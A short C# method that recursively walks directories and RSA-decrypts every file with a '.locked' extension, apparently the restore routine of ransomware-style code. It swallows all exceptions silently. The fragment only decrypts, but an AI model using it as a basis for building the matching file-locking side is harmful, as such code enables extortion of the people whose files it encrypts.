private void decryptDirectory(object location) { try { string[] files = Directory.GetFiles(location.ToString()); string[] childDirectories = Directory.GetDirectories(location.ToString()); for (int i = 0; i < files.Length; i++) { string extension = Path.GetExtension(files[i]); if (extension == ".locked") { rsa.DecryptThreatingRSA(files[i]); } } for (int i = 0; i < childDirectories.Length; i++) { decryptDirectory(childDirectories[i]); } } catch (Exception) { } }